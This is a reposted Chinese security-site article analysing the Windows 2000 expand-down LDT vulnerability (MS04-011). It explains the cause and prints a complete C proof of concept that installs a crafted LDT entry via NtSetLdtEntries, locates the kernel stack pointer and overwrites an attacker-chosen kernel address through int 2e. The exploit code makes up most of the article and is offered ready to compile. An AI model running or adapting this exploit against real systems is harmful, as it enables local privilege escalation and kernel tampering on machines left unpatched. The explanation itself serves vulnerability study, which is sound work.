登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

Win2k LDT漏洞初探
发表日期:2006-03-12作者:mslug[转贴] 出处:安全焦点  

作者: mslug (a147654_at_hotmail.com)
主页: www.safechina.net

因为本人水平有限,错误的地方还请指正.

1.漏洞原因

z0mbie文章里提到在Win2k下进程可以自己添加LDT项,这可能是由于历史原因才留在系统代码中,
因为Win2k本身并不会用到LDT.这个漏洞的核心是LDT项中Expand-Down位的设置.例子,一个LDT
的Base为100,Limit为7FFFFFFF.当Expand-Down位为0时.LDT的有效范围是: 100 ~ 7FFFFFFF.
但当Expand-Down位为1时,有效范围是: 80000000 ~ FFFFFFFF 和 0 ~ FF,及刚好相反.在Win2k
添加LDT项的检测过程没有考虑这一情况,导致用户可以建立包含内核空间在内的LDT项(这其实
只是一方面,GDT[23]本来就是0-FFFFFFFF,关键是我们可以控制LDT的基址,而内核有时假设基址
为0,这样能使其在处理内存时发生计算误差).

2.利用原理

因为Win2k是基于页的内存保护机制,而我们又运行在ring3态下这一事实,所以需要借助内核本身
来进行越权操作.eEye的文中提到int 2e中的rep movsd指令.int 2e的使用方法:

mov eax, service_id
lea edx, service_param
int 2e

当运行rep movsd指令时:

edi为内核堆栈指针(KSP, 我机子上一般是FDxxxxxx)
esi指向service_param
ecx为参数的个数(in 32bit)

相当于memcpy (es.base+edi, ds.base+esi, ecx*4);

这里service_param的内容,es寄存器都是可控的.唯一不确定的是edi及内核堆栈指针.获得KSP一
种方法是,先假设一个大约值,比如FD000000,再分配一较大内存空间(16MB)buf,利用这个漏洞将
一特征码写入buf,最后找出特征码在buf中的偏移量offset,计算出:

KSP精确值 = 假设值(FD000000) + offset.

至于提升权限的部分,还没找到比较通用的方法.eEye说加LDT,但LDT的地址在KSP下方,没理解.
IDT, GDT也在KSP下方.我能想到就是改Driver Dispatch Routies,通过I/O API调用.因为不是
很通用这里就不列了.如果有什么好的方法,请告诉我.谢谢.

3.具体步骤

见代码.另外Win2k的代码也有了,可以和eEye的公告对照着看.


/***********************************************************
* 计算出Kernel Stack Pointer后,就能精确控制写入的地址了.
* 要注意的是只能覆写到KSP以上的内核空间.
***********************************************************/

/******************************************************************
* Windows Expand-Down Data Segment Local Privilege Escalation
* [MS04-011]
*
* Bug found by: Derek Soeder
* Author:  mslug (a1476854@hotmail.com), All rights reserved.
*
* Version: PoC 0.1
*
* Tested:  Win2k pro en sp4
*
* Thanks:  z0mbie's article :)
*
* Compile: cl winldt.c
*
* Date:    18 Apr 2004
*******************************************************************/


#include <windows.h>
#include <stdio.h>
#include <string.h>

#if 1
   #define KernelStackPtr  0xFD000000  //估计值
   #define BedSize         0x01000000
#else
   #define KernelStackPtr  0xF0000000
   #define BedSize         0x10000000
#endif

unsigned char bed[BedSize];
unsigned char pin[]="COOL";

int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

WORD SetupLDT(WORD seg, DWORD ldtbase);

unsigned long patch_to;

int main(int argc, char *argv[])
{
   DWORD ldtbase, KSP;
   int i;
   HMODULE hNtdll;
  
   if(argc<2) {
      printf("** coded by mslug@safechina.net **\n");
      printf("winldt.exe <kernel address>\n");
      return 0;
   }

   patch_to = strtoul(argv[1], 0, 16);
  
   hNtdll = LoadLibrary("ntdll.dll");
  
   (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");
  
   memset(bed, 'A', BedSize);
   bed[BedSize-1]=0;
  
   ldtbase = (DWORD) &bed[0] - KernelStackPtr;
  
   printf("[+] User-land bed : 0x%08X\n", &bed[0]);
   printf("[+] 1st LDT base  : 0x%08X\n", ldtbase);

   SetupLDT(0x1f, ldtbase);
   __asm {
      push es
      push 1fh
      pop es
      mov eax, 11h      //1 param
      lea edx, pin
      int 2eh    
      pop es
   }

   for (KSP=0, i=0; i<BedSize-3; i++)  {
      if (bed[i]  =='C' && bed[i+1]=='O' &&
          bed[i+2]=='O' && bed[i+3]=='L' )
      {
         KSP = KernelStackPtr + i;
         printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         //KSP = (DWORD)&bed[i]-ldtbase;
         //printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         break;
      }
   }
  
   if(!KSP) {
      printf("[-] Can't locate Kernel stack pointer, try again\n");
      return 0;
   } else if (patch_to < KSP) {
      printf("[-] Can only patch kernel above KSP\n");
      return 0;
   }
  
   ldtbase = patch_to - KSP;

   printf("[+] Patch to      : 0x%08X\n", patch_to);
   printf("[+] 2nd LDT base  : 0x%08X\n", ldtbase);

   SetupLDT(0x17, ldtbase);
   __asm {
      push es
      push 17h
      pop es
      mov eax, 11h
      lea edx, pin
      int 2eh    
      pop es
   }
  
   return 0;
}

WORD SetupLDT(WORD seg, DWORD ldtbase)
{
   LDT_ENTRY EvilLdt;
   DWORD base  = ldtbase;
   DWORD limit = 0;
   int ret;
  
   EvilLdt.BaseLow                   = base & 0xFFFF;
   EvilLdt.HighWord.Bytes.BaseMid    = base >> 16;
   EvilLdt.HighWord.Bytes.BaseHi     = base >> 24;
   EvilLdt.LimitLow                  = (limit >> 12) & 0xFFFF;
   EvilLdt.HighWord.Bits.LimitHi     = limit >> 28;
   EvilLdt.HighWord.Bits.Granularity = 1;    // 0/1, if 1, limit=(limit<<12)|FFF
   EvilLdt.HighWord.Bits.Default_Big = 1;    // 0=16bit  1=32bit
   EvilLdt.HighWord.Bits.Reserved_0  = 0;    // 0/1
   EvilLdt.HighWord.Bits.Sys         = 0;    // 0/1
   EvilLdt.HighWord.Bits.Pres        = 1;    // 0/1 (presence bit)
   EvilLdt.HighWord.Bits.Dpl         = 3;    // only 3 allowed :-(
   EvilLdt.HighWord.Bits.Type        = 23;   // [16..27]

   ret = NtSetLdtEntries( seg,
                    *(DWORD*)&EvilLdt,
                    *(((DWORD*)&EvilLdt)+1),
                    0,0,0);
   if (ret < 0) {
      printf("[-] Set ldt error : %08X.\n", ret);
      exit(0);
   }

   return seg;
}

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Win2k LDT漏洞初探

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00188